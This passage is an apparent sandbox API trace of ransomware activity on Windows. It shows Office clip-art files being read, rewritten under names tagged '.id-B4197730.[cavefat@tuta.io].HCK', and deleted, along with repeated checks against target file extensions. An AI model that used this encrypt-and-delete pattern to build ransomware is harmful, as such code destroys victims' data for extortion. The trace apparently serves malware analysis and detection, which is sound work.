nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4850, lpOverlapped=0x0) returned 1 [0168.548] ReadFile (in: hFile=0x360, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.548] WriteFile (in: hFile=0x378, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.548] SetEndOfFile (hFile=0x378) returned 1 [0168.550] CloseHandle (hObject=0x378) returned 1 [0168.555] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.555] SetEndOfFile (hFile=0x360) returned 1 [0168.558] CloseHandle (hObject=0x360) returned 1 [0168.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 1 [0168.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0168.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0168.561] lstrlenW (lpString=".doc") returned 4 [0168.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.561] lstrlenW (lpString=".docx") returned 5 [0168.561] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0168.561] lstrlenW (lpString=".pdf") returned 4 [0168.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.561] lstrlenW (lpString=".xls") returned 4 [0168.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.561] lstrlenW (lpString=".xlsx") returned 5 [0168.561] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0168.561] lstrlenW (lpString=".ppt") returned 4 [0168.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0168.561] lstrlenW (lpString=".zip") returned 4 [0168.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.562] lstrlenW (lpString=".rar") returned 4 [0168.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.562] lstrlenW (lpString=".bz2") returned 4 [0168.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.562] lstrlenW (lpString=".7z") returned 3 [0168.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0168.562] lstrlenW (lpString=".dbf") returned 4 [0168.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0168.562] lstrlenW (lpString=".1cd") returned 4 [0168.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0168.562] lstrlenW (lpString=".jpg") returned 4 [0168.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0168.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0168.562] lstrlenW (lpString=".doc") returned 4 [0168.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.562] lstrlenW (lpString=".docx") returned 5 [0168.562] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0168.562] lstrlenW (lpString=".pdf") returned 4 [0168.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.562] lstrlenW (lpString=".xls") returned 4 [0168.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.562] lstrlenW (lpString=".xlsx") returned 5 [0168.562] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0168.562] lstrlenW (lpString=".ppt") returned 4 [0168.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0168.562] lstrlenW (lpString=".zip") returned 4 [0168.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.562] lstrlenW (lpString=".rar") returned 4 [0168.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.562] lstrlenW (lpString=".bz2") returned 4 [0168.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.562] lstrlenW (lpString=".7z") returned 3 [0168.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0168.562] lstrlenW (lpString=".dbf") returned 4 [0168.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0168.562] lstrlenW (lpString=".1cd") returned 4 [0168.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0168.563] lstrlenW (lpString=".jpg") returned 4 [0168.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.563] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.563] lstrlenW (lpString="J0151067.WMF") returned 12 [0168.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0168.566] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=13204) returned 1 [0168.566] CloseHandle (hObject=0x368) returned 1 [0168.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 0x220 [0168.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0168.585] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.585] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.593] GetLastError () returned 0x0 [0168.593] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3394, lpOverlapped=0x0) returned 1 [0168.596] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x33a0, lpOverlapped=0x0) returned 1 [0168.597] ReadFile (in: hFile=0x308, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.597] WriteFile (in: hFile=0x3ac, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.597] SetEndOfFile (hFile=0x3ac) returned 1 [0168.601] CloseHandle (hObject=0x3ac) returned 1 [0168.602] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.602] SetEndOfFile (hFile=0x308) returned 1 [0168.609] CloseHandle (hObject=0x308) returned 1 [0168.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 1 [0168.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0168.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0168.613] lstrlenW (lpString=".doc") returned 4 [0168.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.613] lstrlenW (lpString=".docx") returned 5 [0168.613] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0168.613] lstrlenW (lpString=".pdf") returned 4 [0168.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.613] lstrlenW (lpString=".xls") returned 4 [0168.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.613] lstrlenW (lpString=".xlsx") returned 5 [0168.614] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0168.614] lstrlenW (lpString=".ppt") returned 4 [0168.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0168.614] lstrlenW (lpString=".zip") returned 4 [0168.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.614] lstrlenW (lpString=".rar") returned 4 [0168.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.614] lstrlenW (lpString=".bz2") returned 4 [0168.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.614] lstrlenW (lpString=".7z") returned 3 [0168.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0168.614] lstrlenW (lpString=".dbf") returned 4 [0168.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0168.614] lstrlenW (lpString=".1cd") returned 4 [0168.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0168.614] lstrlenW (lpString=".jpg") returned 4 [0168.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0168.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0168.614] lstrlenW (lpString=".doc") returned 4 [0168.614] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.614] lstrlenW (lpString=".docx") returned 5 [0168.614] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0168.614] lstrlenW (lpString=".pdf") returned 4 [0168.614] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.614] lstrlenW (lpString=".xls") returned 4 [0168.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.614] lstrlenW (lpString=".xlsx") returned 5 [0168.614] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0168.614] lstrlenW (lpString=".ppt") returned 4 [0168.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0168.614] lstrlenW (lpString=".zip") returned 4 [0168.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.614] lstrlenW (lpString=".rar") returned 4 [0168.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.614] lstrlenW (lpString=".bz2") returned 4 [0168.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.614] lstrlenW (lpString=".7z") returned 3 [0168.615] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0168.615] lstrlenW (lpString=".dbf") returned 4 [0168.615] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0168.615] lstrlenW (lpString=".1cd") returned 4 [0168.615] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0168.615] lstrlenW (lpString=".jpg") returned 4 [0168.615] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.615] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.615] lstrlenW (lpString="J0152430.WMF") returned 12 [0168.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0168.622] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=14132) returned 1 [0168.622] CloseHandle (hObject=0x370) returned 1 [0168.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 0x220 [0168.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0168.634] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.634] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0168.641] GetLastError () returned 0x0 [0168.641] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3734, lpOverlapped=0x0) returned 1 [0168.642] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3740, lpOverlapped=0x0) returned 1 [0168.643] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.643] WriteFile (in: hFile=0x308, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0168.643] SetEndOfFile (hFile=0x308) returned 1 [0168.645] CloseHandle (hObject=0x308) returned 1 [0168.648] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.648] SetEndOfFile (hFile=0x378) returned 1 [0168.651] CloseHandle (hObject=0x378) returned 1 [0168.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.653] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 1 [0168.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0168.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0168.655] lstrlenW (lpString=".doc") returned 4 [0168.655] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.655] lstrlenW (lpString=".docx") returned 5 [0168.655] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.655] lstrlenW (lpString=".pdf") returned 4 [0168.655] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.655] lstrlenW (lpString=".xls") returned 4 [0168.655] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.655] lstrlenW (lpString=".xlsx") returned 5 [0168.655] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.655] lstrlenW (lpString=".ppt") returned 4 [0168.655] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0168.656] lstrlenW (lpString=".zip") returned 4 [0168.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.656] lstrlenW (lpString=".rar") returned 4 [0168.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.656] lstrlenW (lpString=".bz2") returned 4 [0168.656] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.656] lstrlenW (lpString=".7z") returned 3 [0168.656] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0168.656] lstrlenW (lpString=".dbf") returned 4 [0168.656] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0168.656] lstrlenW (lpString=".1cd") returned 4 [0168.656] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0168.656] lstrlenW (lpString=".jpg") returned 4 [0168.656] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0168.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0168.656] lstrlenW (lpString=".doc") returned 4 [0168.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.656] lstrlenW (lpString=".docx") returned 5 [0168.656] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0168.656] lstrlenW (lpString=".pdf") returned 4 [0168.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.656] lstrlenW (lpString=".xls") returned 4 [0168.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.656] lstrlenW (lpString=".xlsx") returned 5 [0168.656] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0168.656] lstrlenW (lpString=".ppt") returned 4 [0168.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0168.656] lstrlenW (lpString=".zip") returned 4 [0168.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.656] lstrlenW (lpString=".rar") returned 4 [0168.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.656] lstrlenW (lpString=".bz2") returned 4 [0168.656] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.656] lstrlenW (lpString=".7z") returned 3 [0168.656] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0168.657] lstrlenW (lpString=".dbf") returned 4 [0168.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0168.657] lstrlenW (lpString=".1cd") returned 4 [0168.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68 [0168.657] lstrlenW (lpString=".jpg") returned 4 [0168.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.657] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.657] lstrlenW (lpString="J0152558.WMF") returned 12 [0168.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.664] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=16052) returned 1 [0168.664] CloseHandle (hObject=0x330) returned 1 [0168.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 0x220 [0168.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0168.675] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.675] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0168.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.676] GetLastError () returned 0x0 [0168.677] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x3eb4, lpOverlapped=0x0) returned 1 [0168.680] WriteFile (in: hFile=0x330, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x3ec0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x3ec0, lpOverlapped=0x0) returned 1 [0168.681] ReadFile (in: hFile=0x378, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0168.681] 